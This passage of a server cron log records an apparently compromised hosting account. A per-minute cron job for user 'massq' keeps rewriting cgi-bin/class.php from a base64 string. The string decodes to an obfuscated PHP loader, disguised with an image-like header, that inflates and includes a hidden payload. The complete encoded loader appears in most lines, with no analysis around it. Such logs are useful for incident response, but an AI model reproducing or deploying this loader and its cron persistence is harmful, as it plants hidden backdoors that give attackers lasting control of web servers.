ZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:34:01 server CROND[21530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:35:01 server CROND[21648]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 18:35:01 server CROND[21651]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 18:35:01 server CROND[21650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 18:35:01 server CROND[21652]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 18:35:01 server CROND[21653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:36:01 server CROND[21774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:37:01 server CROND[21850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:38:01 server CROND[21910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:39:01 server CROND[22078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:39:01 server CROND[22079]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 18:40:01 server CROND[22149]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 18:40:01 server CROND[22150]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 18:40:01 server CROND[22151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:40:01 server CROND[22154]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 18:41:01 server CROND[22262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:42:01 server CROND[22347]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 18:42:01 server CROND[22348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:43:01 server CROND[22417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:44:01 server CROND[22476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:45:01 server CROND[22635]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 18:45:01 server CROND[22636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 18:45:01 server CROND[22637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:46:01 server CROND[22743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:47:01 server CROND[22809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRk